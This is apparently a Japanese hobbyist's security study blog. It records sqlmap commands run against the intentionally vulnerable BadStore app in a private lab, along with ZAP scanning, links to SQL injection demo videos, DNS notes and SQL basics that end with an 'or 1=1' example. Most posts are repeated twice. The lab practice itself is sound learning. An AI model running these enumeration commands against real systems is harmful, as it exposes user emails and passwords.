■SANSインターネットストームセンターのハンドラであるBojan Zdrnjaが、
Webアプリケーションの脆弱性について報告している。
(掲載日:米国時間 2009年4月21日)
http://www.nri-secure.co.jp/ncsirt/2009/0423.html
古いけどなくならないし・・・
簡単にチェックするならツールを実行(もちろん自分の管理下のサイトで)
sqlninja http://sqlninja.sourceforge.net/sqlninja-howto.html
→ sqlninja.conf を編集するんだけどうまく動かせなかった。
だからツールをチェンジ
sqlmap https://www.owasp.org/index.php/Automated_Audit_using_SQLMap
一応 パラメーター
・./sqlmap.py -u "http://192.168.122.63/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" -b
・./sqlmap.py -u "http://192.168.122.63/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" --current-db
・./sqlmap.py -u "http://192.168.122.63/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" --tables -D badstoredb
・./sqlmap>sqlmap.py -u "http://192.168.13.164/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0"
--columns -T itemdb -D badstoredb
・./sqlmap.py -u "http://192.168.13.164/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0"
--columns -T userdb -D badstoredb
・./sqlmap.py -u "http://192.168.13.164/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" --dbs
"badstoredb"
"itemdb" = 5columns
Column
itemnum
ldesc
price
qty
sdesc
"userdb" = 2columns
email
passwd
options
--current-user
--current-db
--users
--passwords
--dbs
--tables
--columns
Webアプリケーションの脆弱性について報告している。
(掲載日:米国時間 2009年4月21日)
http://www.nri-secure.co.jp/ncsirt/2009/0423.html
古いけどなくならないし・・・
簡単にチェックするならツールを実行(もちろん自分の管理下のサイトで)
sqlninja http://sqlninja.sourceforge.net/sqlninja-howto.html
→ sqlninja.conf を編集するんだけどうまく動かせなかった。
だからツールをチェンジ
sqlmap https://www.owasp.org/index.php/Automated_Audit_using_SQLMap
一応 パラメーター
・./sqlmap.py -u "http://192.168.122.63/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" -b
・./sqlmap.py -u "http://192.168.122.63/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" --current-db
・./sqlmap.py -u "http://192.168.122.63/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" --tables -D badstoredb
・./sqlmap>sqlmap.py -u "http://192.168.13.164/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0"
--columns -T itemdb -D badstoredb
・./sqlmap.py -u "http://192.168.13.164/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0"
--columns -T userdb -D badstoredb
・./sqlmap.py -u "http://192.168.13.164/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" --dbs
"badstoredb"
"itemdb" = 5columns
Column
itemnum
ldesc
price
qty
sdesc
"userdb" = 2columns
passwd
options
--current-user
--current-db
--users
--passwords
--dbs
--tables
--columns
■わざと脆弱性を持たせたWebアプリ
脆弱性診断のスキルを身につける過程で、診断ツールを試したり
いろいろパラメータをいじってポストするんだけど他人のサイトで
試すわけにはいきません。
自前でサイトを立ち上げて仮想環境で試すのが一番
Badstore.net: See how the hackers think.
http://www.badstore.net/
http://www.dragoslungu.com/wp-content/uploads/File/NStalkerReport-technical_stage1.pdf
◆ローカルプロキシをかまして、手動で見つけるのもいいんだけど
ツールでざっくり、全体を検査してから怪しい点を深堀したほうが
効率的だって・・・
Webアプリケーションの脆弱性を見つけるペネトレーション試験ツール
「OWASP Zed Attack Proxy(ZAP)」
http://code.google.com/p/zaproxy/downloads/list
ユーザーインターフェースは日本語でもあり特に難しくは無い。
検査対象の、URLを入力して 「攻撃?」ボタンを押すだけ。
5分くらいで検査終了 なんだけど・・・
SQLの脆弱性を見つけてくれたのはいいんだけど、userdb 書き込みされていました。
まぁ、脆弱なんでしょうがないですけどね。
この userdb への書き込みは、CSRF ってやつです、これから検査します。
怪しいところは、ユーザー登録するところ
POST /cgi-bin/badstore.cgi?action=register HTTP/1.1\r\n
fullname=&email=&passwd=&pwdhint=green&role=U&Register=Register
これをツールが変更して書き込みしていたところまでは把握した。
脆弱性診断のスキルを身につける過程で、診断ツールを試したり
いろいろパラメータをいじってポストするんだけど他人のサイトで
試すわけにはいきません。
自前でサイトを立ち上げて仮想環境で試すのが一番
Badstore.net: See how the hackers think.
http://www.badstore.net/
http://www.dragoslungu.com/wp-content/uploads/File/NStalkerReport-technical_stage1.pdf
◆ローカルプロキシをかまして、手動で見つけるのもいいんだけど
ツールでざっくり、全体を検査してから怪しい点を深堀したほうが
効率的だって・・・
Webアプリケーションの脆弱性を見つけるペネトレーション試験ツール
「OWASP Zed Attack Proxy(ZAP)」
http://code.google.com/p/zaproxy/downloads/list
ユーザーインターフェースは日本語でもあり特に難しくは無い。
検査対象の、URLを入力して 「攻撃?」ボタンを押すだけ。
5分くらいで検査終了 なんだけど・・・
SQLの脆弱性を見つけてくれたのはいいんだけど、userdb 書き込みされていました。
まぁ、脆弱なんでしょうがないですけどね。
この userdb への書き込みは、CSRF ってやつです、これから検査します。
怪しいところは、ユーザー登録するところ
POST /cgi-bin/badstore.cgi?action=register HTTP/1.1\r\n
fullname=&email=&passwd=&pwdhint=green&role=U&Register=Register
これをツールが変更して書き込みしていたところまでは把握した。
■SQL Injection Basics Demonstration
http://www.youtube.com/watch?v=h-9rHTLHJTY
▼SQL Injection Basics Demonstration 2
http://www.youtube.com/watch?v=w3xbytAisB0
▼SQL Injection Basics Demonstration 3
http://www.youtube.com/watch?v=aixvtFbaVhY
▼Blindfolded SQL Injection Demonstration
http://www.youtube.com/watch?v=DclGr44UDNA
▼SQL Injection Signature Evasion Demonstration
http://www.youtube.com/watch?v=NT3kqPbuAXc
なんともBGMが怪しい雰囲気です
▼Hack website completely using SQL Injection - Part 1
http://www.youtube.com/watch?v=-9M50cRO5KA
▼Hack website completely using SQL Injection - Part 2
http://www.youtube.com/watch?v=WdaB4GNRmlg
▼SQL Injection Explained
http://www.youtube.com/watch?v=PB7hWlqTSqs
注:他人のサイトに使用しないこと・・・ 最近の国家権力だとすぐに逮捕されちゃうよ。
http://www.youtube.com/watch?v=h-9rHTLHJTY
▼SQL Injection Basics Demonstration 2
http://www.youtube.com/watch?v=w3xbytAisB0
▼SQL Injection Basics Demonstration 3
http://www.youtube.com/watch?v=aixvtFbaVhY
▼Blindfolded SQL Injection Demonstration
http://www.youtube.com/watch?v=DclGr44UDNA
▼SQL Injection Signature Evasion Demonstration
http://www.youtube.com/watch?v=NT3kqPbuAXc
なんともBGMが怪しい雰囲気です
▼Hack website completely using SQL Injection - Part 1
http://www.youtube.com/watch?v=-9M50cRO5KA
▼Hack website completely using SQL Injection - Part 2
http://www.youtube.com/watch?v=WdaB4GNRmlg
▼SQL Injection Explained
http://www.youtube.com/watch?v=PB7hWlqTSqs
注:他人のサイトに使用しないこと・・・ 最近の国家権力だとすぐに逮捕されちゃうよ。
■DNS(*1)の主なサービスはホスト名(ドメイン名)とIPアドレスを対応づけることです。
DNSを用いて、www.nic.ad.jpのように表されるホスト名から、202.12.30.144のように
表されるIPアドレスを解決することを正引きと呼んでいます。
正引きとは反対に、202.12.30.144で表されるIPアドレスから、www.nic.ad.jpという
ホスト名を解決することを逆引きと呼びます。
逆引きは、正引きとの組み合わせによってデータ送信者の識別の正確性を高める働きを
もっています。
(以上 JPNIC より引用)
DNSを用いて、www.nic.ad.jpのように表されるホスト名から、202.12.30.144のように
表されるIPアドレスを解決することを正引きと呼んでいます。
正引きとは反対に、202.12.30.144で表されるIPアドレスから、www.nic.ad.jpという
ホスト名を解決することを逆引きと呼びます。
逆引きは、正引きとの組み合わせによってデータ送信者の識別の正確性を高める働きを
もっています。
(以上 JPNIC より引用)
■Oracle Application Express(APEX)の登録完了
SELECT文には、いくつもキーワードがあるけど、よく使うのは3つ。
•「どの項目(列)のデータを検索するか」を指定する:SELECT
•「どの表から検索するか」を指定する:FROM
•「どのような条件で行を検索するか」を指定する:WHERE
① 実行してみる
SELECT * FROM emp;
emp表(従業員テーブル)から全てのデータを抽出した。
② 実行してみる
SELECT empno FROM emp;
emp表(従業員テーブル)から「従業員番号」のみ抽出した。
③ 実行してみる
SELECT empno,ename FROM emp where empno=7839;
emp表(従業員テーブル)から「従業員番号=7839」に一致する「KING」のデータを抽出した。
④ 実行してみる
SELECT empno,ename FROM emp where empno=7839 or 1=1;
emp表(従業員テーブル)から「従業員番号=7839」または 1=1 に一致するデータを抽出した。
実行結果は、 SELECT empno,ename FROM emp; と一致する。
SELECT文には、いくつもキーワードがあるけど、よく使うのは3つ。
•「どの項目(列)のデータを検索するか」を指定する:SELECT
•「どの表から検索するか」を指定する:FROM
•「どのような条件で行を検索するか」を指定する:WHERE
① 実行してみる
SELECT * FROM emp;
emp表(従業員テーブル)から全てのデータを抽出した。
② 実行してみる
SELECT empno FROM emp;
emp表(従業員テーブル)から「従業員番号」のみ抽出した。
③ 実行してみる
SELECT empno,ename FROM emp where empno=7839;
emp表(従業員テーブル)から「従業員番号=7839」に一致する「KING」のデータを抽出した。
④ 実行してみる
SELECT empno,ename FROM emp where empno=7839 or 1=1;
emp表(従業員テーブル)から「従業員番号=7839」または 1=1 に一致するデータを抽出した。
実行結果は、 SELECT empno,ename FROM emp; と一致する。
■GW谷間の今日この頃、いろいろ勉強中
いまさらながら、SQL【Structured Query Language】をやり直し中・・・
DB開発者ではないけれど、業務で断片的にも必要となった
SQLは業界標準規格
RDB(リレーショナルデータベース)では、データを「行」と「列」から成る2次元の
表形式で扱います。行は1件のデータ(レコード)を表し、列は各項目を表し、行と
列が交わった部分を「フィールド」と呼び、フィールドにデータ(値)を格納します。
SQLのうち、データを操作する言語をDML(Data Manipulation Language:データ操作言語)と
呼びます。DMLには、データを検索するSELECT、データをテープルに追加する
INSERT、データを更新するUPDATE、データを削除するDELETEなどがあります。
(@IT より引用 http://www.atmarkit.co.jp/ait/articles/1112/19/news130.html)
パソコンにRDBインストールするのは面倒なので、WEBブラウザーから使用できる
Webアプリケーション「Oracle Application Express(APEX)」を使って勉強してみる。
http://apex.oracle.com/pls/apex/
いまさらながら、SQL【Structured Query Language】をやり直し中・・・
DB開発者ではないけれど、業務で断片的にも必要となった
SQLは業界標準規格
RDB(リレーショナルデータベース)では、データを「行」と「列」から成る2次元の
表形式で扱います。行は1件のデータ(レコード)を表し、列は各項目を表し、行と
列が交わった部分を「フィールド」と呼び、フィールドにデータ(値)を格納します。
SQLのうち、データを操作する言語をDML(Data Manipulation Language:データ操作言語)と
呼びます。DMLには、データを検索するSELECT、データをテープルに追加する
INSERT、データを更新するUPDATE、データを削除するDELETEなどがあります。
(@IT より引用 http://www.atmarkit.co.jp/ait/articles/1112/19/news130.html)
パソコンにRDBインストールするのは面倒なので、WEBブラウザーから使用できる
Webアプリケーション「Oracle Application Express(APEX)」を使って勉強してみる。
http://apex.oracle.com/pls/apex/